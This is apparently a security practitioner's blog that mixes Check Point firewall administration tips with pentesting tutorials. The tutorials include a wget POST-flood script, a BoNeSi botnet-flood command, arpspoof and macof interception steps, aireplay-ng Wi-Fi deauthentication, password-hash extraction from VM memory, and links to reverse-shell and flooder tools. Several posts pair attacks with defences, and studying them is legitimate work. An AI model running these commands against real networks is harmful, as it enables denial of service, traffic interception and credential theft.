Penetration Testing Framework --- Smart Pentester ---

I'm pleased to announce the first public release of Smart Pentester which aims to be a framework for Penetration testers.  

SmartPentester can be downloaded at thr Google Drive link below

https://drive.google.com/file/d/1FVi8tUPTyAhF3w710OR_vReu3RAfLgXV/view

Note : There is a false positive virus warning on file download. New portable file will be uploaded soon.

Smart Pentester Framework will provide you a User Interface for Penetration testing, Malware Analysis, Forensic Analysis, Cyber Intelligence, Advanced packet generation techniques and more...

Examining a Suspended Virtual Machine

I would like to show the danger of suspended virtual machines, with the tool called volatility there are several options you may extract from a vmem file can be found from the link below

http://code.google.com/p/volatility/wiki/CommandReference

With in the example , we will find the local password for the related OS User

To use hashdump, pass the virtual address of the SYSTEM hive as -y and the virtual address of the SAM hive as -s, like this

Hashes can now be cracked using John the Ripper, rainbow tables, etc

In this example I have used cracker.offensive-security.com password appeared with in few minutes

Illegal post SYN packet

Symptoms : fw ctl zdebug shows drops like: _tcstate_update Reason: Illegal post SYN packet;

Any packet from the Client other than SYN or RST, is considered as a security issue, fw thinks that the Client tries to send packets before the Server has responded to the initial request SYN
In order to allow such unexpected packets, enable the related kernel parameter on the Security Gateway.

Check the mechanism with,
# fw ctl get int fw_allow_out_of_state_post_syn

# fw ctl set int fw_allow_out_of_state_post_syn 1        activate on the fly
# fw ctl set int fw_allow_out_of_state_post_syn 0        deactivate on the fly

If it helps to resolve the issue it's time to make it persistent after a reboot
Create the $FWDIR/boot/modules/fwkern.conf file, if it does't exist.This file is not present by default

[Expert@testfw]# cd $FWDIR/boot/modules/
[Expert@testfw]# pwd
/opt/CPsuite-R7X/fw1/boot/modules
[Expert@testfw]# vi fwkern.conf

fw_allow_out_of_state_post_syn=0x1

define it with its hex value

IIS Tunning Recommendations against Slow http Attacks

If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service.
A single attacker can take down victim web server with minimal bandwidth.

Limit request attributes is through the RequestLimits element, specifically the maxAllowedContentLength, maxQueryString, and maxUrl attributes
http://www.iis.net/configreference/system.webserver/security/requestfiltering/requestlimits

Suggestion
maximum URL length: 2KB by specifying 2048.
maximum query string length : 1KB by specifying 1024.
Deny access to unlisted HTTP verbs by clearing the Allow unlisted verbs check box.

Set headerLimits to configure the type and size of header your web server will accept.
http://www.iis.net/configreference/system.webserver/security/requestfiltering/requestlimits/headerlimits

Suggestion
Content-type: 100 bytes

Tune the connectionTimeout, headerWaitTimeout, and minBytesPerSecond attributes of the limits and WebLimits elements to minimize the impact of slow
HTTP attacks.

Suggestion
connectionTimeout: 30sec
headerWaitTimeout: 30sec
minBytesPerSecond: 250

Limits
http://www.iis.net/configreference/system.applicationhost/sites/sitedefaults/limits

Web Limits
http://www.iis.net/configreference/system.applicationhost/weblimits

Lets do Some HTTP Post Flood

This tool allows you to edit and replicate HTTP parameters after the request finally leaves your browser.
Its for educational purposes only.The aim of this tool is to show the wget usage.
Can be downloaded at
https://docs.google.com/file/d/0B0EDab8sQhCCYTRvTlhFUTZwOTA/edit

File Named: HTTP Flooder v1.0 Uses WGET.zip
It Uses wget.exe located at c:\ drive, Creates an HTML file of the HTTP response at the directory where it runs.

Example Usage: Before running it,sniff the traffic with a local proxy like webscarab and copy/paste the final request data to flood.

For Linux Users,
Example of a simple bash script, will do a 100 post request

#!/bin/bash
for i in {1..100};
do
wget --user-agent=Firefox/10 --referer=https://www.vulnwebtest.com --post-data="__VIEWSTATE=%2FwEPDwULLTExMjU2MzY2MjcPZBYCAgMPZBYSAgMPDxYCHgRUZXh0BQxVc2VyIE5hbWUgOiBkZAIFDw8WBB8ABQR0ZXN0HgdFbmFibGVkaGRkAgcAPDxYCHgdWaXNpYmxlaGRkAgkPDxYCHwJoZGQCDQ8PFgIfAmdkZAIPDw8WB9B8ABQR0ZXN0HwJnZGQCEQ8PAFgIfAmdkZAITDw8WAh8CZ2RkAhUPDxYCHwJnZGRk8Nl1HK2Uc%2B9sUZwQEPNDjmgqRms%3D&__EVENTVALIDATION=%2FwEWBAK41KgrAuzRsusGAuzR9tkMArursYYIKiocz95qxVisTmMDLVdMhHxNkYk%3D&Email=test&Button=Send+Password" --no-check-certificate --no-dns-cache http://www.vulnwebtest.com/test.aspx
done

How to Simulate a HTTP GET BotNet DDoS Attack

Today I would like to share a cool tool called Bonesi DDoS Botnet Simulator.

web page : http://code.google.com/p/bonesi/

BoNeSi is able to simulate a TCP based HTTP-GET flood on a victim.3way handshake is completed. Its a much more advanced testing technique than Syn Http Flood, hping can only send tcp packet flags.
Since non spoofed IP connections require correct routing setup, this tool can only be used in closed testbed setups.

It can establish several thousands of HTTP connections from different IP addresses defined at iplist.txt making this tool to simulate advanced bot networks.

How does TCP Spoofing work?
BoNeSi sniffs for TCP packets on the network interface and responds to all packets in order to establish TCP connections. For this feature, it is necessary, that all traffic from the target webserver is routed back to the host running BoNeSi
HTTP-Flooding attacks can not be simulated in the internet, because answers from the webserver must be routed back to the host running BoNeSi.

It can be used to test firewall systems, routing hardware, DDoS Mitigation Systems or webservers directly.

my test usage was,
# bonesi -i 50k-bots.txt -p tcp -r 0 -u http://cagdastestlab.com -b useragent.txt -d eth1 -v 213.153.205.182:80



Usage: bonesi [OPTION...] <dst_ip:port>
 Options:
  -i, --ips=FILENAME               filename with ip list
  -p, --protocol=PROTO             udp (default), icmp or tcp
  -r, --send_rate=NUM              packets per second, 0 = infinite (default)
  -s, --payload_size=SIZE          size of the paylod, (default: 32)
  -o, --stats_file=FILENAME        filename for the statistics, (default: 'stats')
  -c, --max_packets=NUM            maximum number of packets (requests at tcp/http), 0 = infinite (default)
      --integer                    IPs are integers in host byte order instead of in dotted notation
  -t, --max_bots=NUM               determine max_bots in the 24bit prefix randomly (1-256)
  -u, --url=URL                    the url (default: '/') (only for tcp/http)
  -l, --url_list=FILENAME          filename with url list (only for tcp/http)
  -b, --useragent_list=FILENAME    filename with useragent list (only for tcp/http)
  -d, --device=DEVICE              network listening device (only for tcp/http)
  -m, --mtu=NUM                    set MTU, (default 1500)
  -f, --frag=NUM                   set fragmentation mode (0=IP, 1=TCP, default: 0)
  -v, --verbose                    print additional debug messages
  -h, --help                       print this message and exit

Smart Uploader (GUI for cp_uploader.exe)

As you know CheckPoint released a new upload tool called Check Point Uploader utility ( sk84000 )
This tool enables you to upload the files securely to Check Point using your user center credentials.

I have developed a GUI for cp_uploader.exe
Enjoy it!

Click to download Smart Uploader

How to Enable SNMP on Checkpoint

# snmp service disable
# snmp service enable
# snmp user show
You should delete the community named public
# snmp user del public
# snmp user add noauthuser CommunityName

# snmp service stat
You should see
SNMP service enabled and listening on port 161.
enable snmp extensions
# cp_conf snmp get
Currently SNMP Extension is active
# cp_conf snmp activate
Check the ports, both 260 and 161 should be listening..

Lets do some SNMP Walk
Total RAM on System
# snmpwalk -v1 -c CommunityName firewallipaddress .1.3.6.1.4.1.2021.4.5.0
do a fw tab -t connections -s and count connections
# snmpwalk -v1 -c testcom 192.168.1.112 .1.3.6.1.4.1.2620.1.1.25.3.0

Snmp version should be 5.3.1.0-2
checkout with the command #rpm –qa | grep net-snmp
Some Checkpoint SNMP OIDS
CPU Usage .1.3.6.1.4.1.2620.1.6.7.2.4.0
CPU System .1.3.6.1.4.1.2620.1.6.7.2.2.0
CPU User .1.3.6.1.4.1.2620.1.6.7.2.1.0
Number of Connections .1.3.6.1.4.1.2620.1.1.25.3.0
Peak Number of Connections .1.3.6.1.4.1.2620.1.1.25.4.0
Memory Total .1.3.6.1.4.1.2620.1.6.7.4.3.0
Memory Used .1.3.6.1.4.1.2620.1.6.7.4.4.0
Memory Free 1.3.6.1.4.1.2620.1.6.7.1.5.0
Memory Buffered .1.3.6.1.4.1.2021.4.14.0
Memory cached .1.3.6.1.4.1.2021.4.15.0
Swap error .1.3.6.1.4.1.2021.4.100.0
CPU FAN Speed 1.3.6.1.4.1.2620.1.6.7.8.2.1.3.1.0
Chassis FAN Speed 1.3.6.1.4.1.2620.1.6.7.8.2.1.3.2.0
Core Voltage 1.3.6.1.4.1.2620.1.6.7.8.3.1.3.1.0
VCC+Voltage 1.3.6.1.4.1.2620.1.6.7.8.3.1.3.2.0
1.8 Voltage 1.3.6.1.4.1.2620.1.6.7.8.3.1.3.3.0
5V Power Supply In 1.3.6.1.4.1.2620.1.6.7.8.3.1.3.4.0
5V Standby Voltage 1.3.6.1.4.1.2620.1.6.7.8.3.1.3.5.0
Battery Voltage 1.3.6.1.4.1.2620.1.6.7.8.3.1.3.6.0
CPU temperature 1.3.6.1.4.1.2620.1.6.7.8.1.1.3.1.0
M/B Temperature 1.3.6.1.4.1.2620.1.6.7.8.1.1.3.2.0

DDoS Seminar in Ankara

Last friday Checkpoint and InfoNet have prepared a DDoS seminar in Ankara,

I had created a lab similar to http://www.youtube.com/watch?v=5rhw7zsiarQ&feature=plcp that I have posted earlier.

The lab had 2 phases, with DDoS protector and without it which the attacker directly faces to firewall, We have investigated and compared both behaviours..

After showing some attack vectors the main subject was to try to explain the reason of why we need a DDoS mitigation device other than getting this as a service from ISP and explained why its a network design problem and how to deal with it on every hop count

Recently Published Posts in Journals

BTHaber

No:908 February 2013

http://www.bthaber.com/merhaba-mobilite/

http://www.bthaber.com/her-yerde-guvenlik/

IT PRO

No:139 November 2012

 

http://www.computerworld.com.tr/bilgi-guvenligi-farkindaligi-artiyor

BTHaber

No:888 September 2012

Reverse Connection Shell

Problem :
Unreachable Server Behind Firewall (Simulation of Reverse Shell)
Solution:
A solution to this problem is to have the server(victim) reach out and connect to the client. In such a case, the client(attacker) will listen on a port, say, port 80, and the server will then attempt to connect every 5 seconds. If the client is not up, the server waits 5 seconds and then tries again. If a client is up, it will then establish a connection and gives a shell to the client. The client will then be able to send commands, and they will execute on the server side. This technology is called Reverse Connection Shell.

Download from the link below

Download ReverseShell Tools by Cagdas Ulucan

Bypass none L7 Firewall/Proxy systems (SSH Tunnelling)

By tunneling technics it's possible to penetrate none L7 firewalls as they don't inspect the content of the packet.
as usually port 80 and 443 is allowed for internal users and also SSH protocol supports socks proxy, this can be used to connect remote ssh servers that runs from port:443, you may place your own or find public ssh servers on net

here is the screenshot doing it via putty


 
 

some other ways of penetration may be using proxy softwares like ultrasurf, making vpn to outside,using remote connection softwares like teamviewer (reverse connection), note that all of these techniques uses port 443


I wanted to draw your attention to importance of inspecting SSL traffic as it can be used for several illegal connections that can cause data leakage in your network

Thx
Cagdas

How to Convert victim switch to a HUB

First way
ARP Poisoning (arpspoof)
Attack is based on weakness of ARP protocol, its so old and limited to local network segments but still one of the biggest threat on L2 networks
Enable routing on the attacker so that it can route the traffic back to victim, its required if you dont want to make DOS, to silently listen the traffic.
"echo 1 > /proc/sys/net/ipv4/ip_forward" # enable IP forwarding in the Linux kernel.
to test whats going on at the victim machine type arp -a and check the mac of the victims gw once started to poison it will change the value to attackers mac address

Lets start
first SSH
# arpspoof -t victimip gwip
Second SSH
# arpspoof -t gwip victimip

Protection from ARP Poisoning
Open Dynamic ARP Inspection on the related switch,

If you have a dhcp server
Cisco(config)# IP dhcp snooping vlan
Cisco(config)# IP arp inspection vlan
Cisco(config)# interface GigabitEthernet 1/11
Cisco(config-if)# IP dhcp snooping trust
Cisco(config-if)# IP arp inspection trust

If not, you have to manually set static ip-mac addresses
Cisco(config)# IP arp inspection vlan
Cisco(config)# IP source binding vlan interface Gi1/1
Cisco(config)# arp access-list
Cisco(config-arp-acl)# permit IP host mac host
Cisco(config)# IP arp inspection filter vlan

Second way
Mac Flooding is to attack with lots of bogus ARP packets on a switch network, thus overloading the switch CAM tables and making it acting like a hub.
A typical switch can handle few thousands of ARP records and can be overloaded.
Once its overloaded you may start sniffing..

you may use the tool macof
#macof -i eth0

Protection of this attack is simply enabling Port Security

DOS on Wireless Networks (wlan jammer)

Deauthentication attack on wireless networks
As a result everyone from your attacked network will be kicked out from it,we may say that Its simply a DoS

The connection between the Mesh clients and Mesh APs has been be established by the exchange of various frames.After that the exchange of the series of management frames like authentication and association request frame takes place.As these frames are unprotected and sent in clear. So these frames has been spoofed by the attacker. The attacker then sends deauthentication requests with the client’s address set as the source. Then the mesh AP responds by sending the deauthentication response to the client. Thus the communication between the client and the AP has been halted. As deauthentication requests are notifications, so cannot be ignored and the AP responds instantly to these requests . The attacker can periodically scan all the channels and send these spoofed messages to valid clients thus terminating their connection.

During the attack the client has been deauthenticated and thus may probe other networks and connect to any other mesh AP available in the range with good signal strength.Second stage of this DOS can be Rogue AP Attack.

# airmon-ng  (shows your wlan interfaces)
# airmon-ng start wlan0 (enable monitoring mode on wlan0)
# airodump-ng mon0  (Get the related info of victim AP)
# airodump-ng -c 11 -b 1C:65:9D:B5:D8:C1 mon0   (go inside the related AP, define channel and MAC)
# aireplay-ng --deauth 100 -c FF:FF:FF:FF:FF:FF -a 1C:65:9D:B5:D8:C1 mon0  (start sending deauthentication packets,Open a separate ssh session)

I also decided to write other than Checkpoint,
more pentest related notes will be on this site.

Thx
Cagdas

Checkpoint DDOS Protector

Today, I had a chance to deal with new Checkpoint DDoS Protector device.

Here is a short video that shows some attack vectors and response of ddos appliance

There was a DDoS_8412 and R75.45 FW  between the hacker pc and test victim.

Interface rx-drp on Checkpoint firewalls

If your eth-driver is bnx2 apply the related driver upgrade at sk80640
I also know that there are driver upgrades for e1000 search it from support
to see the driver # ethtool -i eth0

Also note to check the buffer size on related eth
# ethtool -g eth0
The related sk is sk42181

# netstat -i will show you the drop counts on interfaces.

Error: Page cannot be displayed. An error occurred while processing the request.

I have encountered a strange error on Mobile Access Blade, In my case this was related to IPS, Try this;uncheck IPS and mobile access on firewall properties, install policy, then recheck them and reinstall the security policy.

How to upgrade the software and migrate a distributed SmartCenter to a Full HA Cluster

This procedure is my solution method...

Take an upgrade_export file from the source SMC and import it to your vm machine with the same name and upgrade it to the version u want.
This is a MNG so you cant export and import it to a standalone firewall machine,
lets fake the system that its also a firewall with the command
# cpprod_util FwSetFirewallModule 1
check it via # cpprod_util FwIsFireWallModule
close SmartDashboard and relogin, you will see the firewall tab.
take a new upgrade_export for the utm box
You have to install the appliance as full HA primary cluster member and then,
# cp_conf fullha disable   disable its cluster membership...
import the config reboot and
# cp_conf fullha enable  to set it back to fullhacluster

Thats it, Goodluck
Cagdas

DDOS Tuning for Checkpoint IPS Blade

These are the main things to check against ddos related attacks on checkpoint,
but of course not enough for sophisticated layer 7 attack techniques, checkout new radware based checkpoint ddos appliance; ddos protector.

Aggressive aging: protection against connection-consuming attacks
Lower Stateful Inspection timers: defense against slow attack
Geo protection: Rules to block by country and direction of traffic
Network quota: limit number of connections by source IP
Worm catcher signature: block known worms (HTTP and CIFS)
TCP window size enforcement: small TCP window and flood
SYN flood protection: cookie-based validation
HTTP flooding / UDP Flooding: rate-based blocking
non-TCP Flooding: restrict non-TCP traffic from occupying more than a given percentage of an enforcement point State table

Checkpoint Port Based Routing in ISP Redundancy

Its possible that certain outgoing connections be routed specifically through the first ISP link at ISP Redundancy Load Sharing Mode
edit the $FWDIR/lib/table.def as follows
By changing it to: no_misp_services_ports = { <500, 17>, <259, 17>, <80,6>};, (where <25,6> stands for SMTP (port 25), TCP (IP protocol 6)), all outgoing SMTP traffic would go through the first ISP link.


Also some tips
Show the currently defined ISP links
#cpstat fw
Test ISP Redundancy by administratively bringing down/up thelink
# fw isp_link ISP-1 down
# fw isp_link ISP-1 up

more advanced commands will be on next release of SmartSPLAT